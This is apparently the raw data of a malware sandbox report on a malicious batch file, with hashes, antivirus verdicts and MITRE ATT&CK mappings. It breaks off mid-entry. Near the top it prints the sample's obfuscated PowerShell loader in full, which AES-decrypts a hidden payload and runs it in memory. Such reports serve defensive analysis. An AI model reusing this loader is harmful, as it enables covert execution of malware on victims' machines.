NUuEEgmokktcgPS+AN2NW3yoMBQJw+NPYIinMOfYw0ZBgZ4ErBDeKOTiHSf+2HBgbssJgyDiIanr2wD6NzLoN4Wgm1pD5+Nl6M0BNLTfg+mNGZMLRpoZMU2AdFIA+1CuCqCmIpKVLPGGhobQ/mQRC0XgIQV4mNBLMbnU0IYbMzF0vwLuLpXwSJ/AneV9jM6vw+RwQ0hk+HxIMg96oihRKZusLviDYVWAeIoA1QNFPlJZI4pRBgsUwyl7BpMUj0GytHMNaF2gkFDz0T32oXUqjLapffQ+D+HuCzO2g+ReInWE0qht6UTX4G+HU7am7gYfYAlK0lMFFLn7aZ4XaZZTkrGkSZCI1v4x6J568Nk31/FtzQWcaxxB+wvgrG4K5774HBdrG3DmfDcut96HR6RkI2ubmnWwmM0EC+4ODiFBv3syPc97STQS5eV8UgBZXnx3mcirywMbsePjE1hZWYHNZkN3Xz/O31rCJ59+CYeD6t5iRZOumdrvHChFsCNm0Tc4yu/do/1haOIpLLQv0DfGRkf5zvC3AgoFBuWo1gmsfsPhMG/Dbur9djq4p+cuJiYm4HQ6ySo39BsmPJxe45aKrB27fOh48AwdD+dhilF3pYSw0KBoaOtFhEqctegTAlTLiZgLOGq1bIMRJZF3tXiCEItTUwqoQ8nrQYQsisViuHVvCl9//Q2m2dISKWJJyGJZyMEQKODKzX7UNt7E4osl+P1+3htOFcBWKXWN0raZd3a4o1Ga5kOIWRKLqe5kYJ/NFPM7T7cwaSvjq5ZB6IYXMfo6jO+vtdLfzLw5sURkxpwQoBzr72qXO1wotG0mo0023tW0epa13s4OFbwCLjZ14uOzV/Bo8g/U/9yDM2fr8XNHl9oZaYSzcDIDjglgO3rttaZ/vOM30PNNLTeha73FP1+6Uoua7y6h5ofLuPC9iotX6mi6NqK+QcfvufDdRXz4j+zDVb3+AvQ2IqW1KP2mAAAAAElFTkSuQmCC2e:T55b,-noprofile -windowstyle hidden -ep bypass -command $flLnL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8.bat').Split([Environment]::NewLine);foreach ($jhglm in $flLnL) { if ($jhglm.StartsWith(':: ')) { $uDeAm = $jhglm.Substring(3); break; }; };$dLIJD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uDeAm);$nJkwh = New-Object System.Security.Cryptography.AesManaged;$nJkwh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$nJkwh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$nJkwh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=');$nJkwh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mehcJXqMnXZUmnmrBD1Eeg==');$bIbyd = $nJkwh.CreateDecryptor();$dLIJD = $bIbyd.TransformFinalBlock($dLIJD, 0, $dLIJD.Length);$bIbyd.Dispose();$nJkwh.Dispose();$gJfcg = New-Object System.IO.MemoryStream(, $dLIJD);$dkGYN = New-Object System.IO.MemoryStream;$yfRSU = New-Object System.IO.Compression.GZipStream($gJfcg, [IO.Compression.CompressionMode]::Decompress);$yfRSU.CopyTo($dkGYN);$yfRSU.Dispose();$gJfcg.Dispose();$dkGYN.Dispose();$dLIJD = $dkGYN.ToArray();$qMhaY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($dLIJD);$haTMg = $qMhaY.EntryPoint;$haTMg.Invoke($null, (, [string[]] ('')))1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790535530913,"unified_at":"2026-09-27T18:58:50.913Z","metadata":{"hashes":{"sha256":"9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8","sha1":"1dbbe9b3784cf5ecdd08b27132a7e31588954865","md5":"df4da1ecd4c50871a1c4315f571e4402","sha512":"5f9e47f865c48cb1f2070d5d393a5d3494074bfe2347e07c988d06c8244dd420181c210a8ebdd54f768a64a5906d0c9e3be271d44f6e5bd32991bc2cacf85d3e","ssdeep":"3072:ur2RTVYk0bjRtZLlnm6Gdk8vZQfjO8KifQ6vfegRI8mlgJJ4u6A0FzfghYE:BRiltZITy8ufjLQsBUlgeMYE","ssdeep_chunks":["3072:ur2RTVY","3072:r2RTVYk","3072:2RTVYk0","3072:RTVYk0b","3072:TVYk0bj","3072:VYk0bjR","3072:Yk0bjRt","3072:k0bjRtZ","3072:0bjRtZL","3072:bjRtZLl","3072:jRtZLln","3072:RtZLlnm","3072:tZLlnm6","3072:ZLlnm6G","3072:Llnm6Gd","3072:lnm6Gdk","3072:nm6Gdk8","3072:m6Gdk8v","3072:6Gdk8vZ","3072:Gdk8vZQ","3072:dk8vZQf","3072:k8vZQfj","3072:8vZQfjO","3072:vZQfjO8","3072:ZQfjO8K","3072:QfjO8Ki","3072:fjO8Kif","3072:jO8KifQ","3072:O8KifQ6","3072:8KifQ6v","3072:KifQ6vf","3072:ifQ6vfe","3072:fQ6vfeg","3072:Q6vfegR","3072:6vfegRI","3072:vfegRI8","3072:fegRI8m","3072:egRI8ml","3072:gRI8mlg","3072:RI8mlgJ","3072:I8mlgJJ","3072:8mlgJJ4","3072:mlgJJ4u","3072:lgJJ4u6","3072:gJJ4u6A","3072:JJ4u6A0","3072:J4u6A0F","3072:4u6A0Fz","3072:u6A0Fzf","3072:6A0Fzfg","3072:A0Fzfgh","3072:0FzfghY","3072:FzfghYE","6144:ur2RTVY","6144:r2RTVYk","6144:2RTVYk0","6144:RTVYk0b","6144:TVYk0bj","6144:VYk0bjR","6144:Yk0bjRt","6144:k0bjRtZ","6144:0bjRtZL","6144:bjRtZLl","6144:jRtZLln","6144:RtZLlnm","6144:tZLlnm6","6144:ZLlnm6G","6144:Llnm6Gd","6144:lnm6Gdk","6144:nm6Gdk8","6144:m6Gdk8v","6144:6Gdk8vZ","6144:Gdk8vZQ","6144:dk8vZQf","6144:k8vZQfj","6144:8vZQfjO","6144:vZQfjO8","6144:ZQfjO8K","6144:QfjO8Ki","6144:fjO8Kif","6144:jO8KifQ","6144:O8KifQ6","6144:8KifQ6v","6144:KifQ6vf","6144:ifQ6vfe","6144:fQ6vfeg","6144:Q6vfegR","6144:6vfegRI","6144:vfegRI8","6144:fegRI8m","6144:egRI8ml","6144:gRI8mlg","6144:RI8mlgJ","6144:I8mlgJJ","6144:8mlgJJ4","6144:mlgJJ4u","6144:lgJJ4u6","6144:gJJ4u6A","6144:JJ4u6A0","6144:J4u6A0F","6144:4u6A0Fz","6144:u6A0Fzf","6144:6A0Fzfg","6144:A0Fzfgh","6144:0FzfghY","6144:FzfghYE","3072:BRiltZI","3072:RiltZIT","3072:iltZITy","3072:ltZITy8","3072:tZITy8u","3072:ZITy8uf","3072:ITy8ufj","3072:Ty8ufjL","3072:y8ufjLQ","3072:8ufjLQs","3072:ufjLQsB","3072:fjLQsBU","3072:jLQsBUl","3072:LQsBUlg","3072:QsBUlge","3072:sBUlgeM","3072:BUlgeMY","3072:UlgeMYE"],"imphash":"Unknown"},"file_info":{"file_name":"kk.bat","file_type":["script","bat"],"file_type_id":"bat","file_size":186686,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1675953508000,"last_seen":1676884307000,"last_multi_scan":1676884307000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":27},"sandbox_signatures":{"informative_count":65,"suspicious_count":15,"malicious_count":2,"total":82},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Downloader/BAT.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/BAT.Obfus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"BAT/Dldr.Agent.agn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.65536188","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Txt.Downloader.OneNoteBAT-9986016-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.65536188 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDropper/BAT.Agent.n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.BAT.Obfus.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/BatObf-M","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Drops or executes a batch file"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"suspicious","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"suspicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Queries kernel debugger information"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query local/system time"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve SID domain name"},{"type":"informative","value":"Calls an API typically used to retrieve is X64 architecture"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access non-existent files"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retreive system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"suspicious","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Queries volume information of an entire harddrive"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"suspicious","value":"Contains ability to open a port and listen for incoming connection"}],"sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\".exe\" at 00000000-00002952-00000105-3917463","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\".exe\" queried SystemProcessInformation at 00000000-00002952-00000105-314933\n \".exe\" queried SystemProcessInformation at 00000000-00002952-00000105-3820924","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002952-50094-17-225D7372","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\".exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","mitre_attack_id":"T1622","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\".exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00002952)\n \".exe\" called \"RtlGetNtProductType\" (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"cmd.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003700)\n \".exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00002952)\n \".exe\" called \"RtlGetVersion\" (UID: 00000000-00002952)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63e6d2457c6a2048932c3543"},{"report_type":"sandbox","report_id":"63e50c83a8a908711222480d"},{"report_type":"sandbox","report_id":"63e50563d0bfa17ca46e4c3c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an 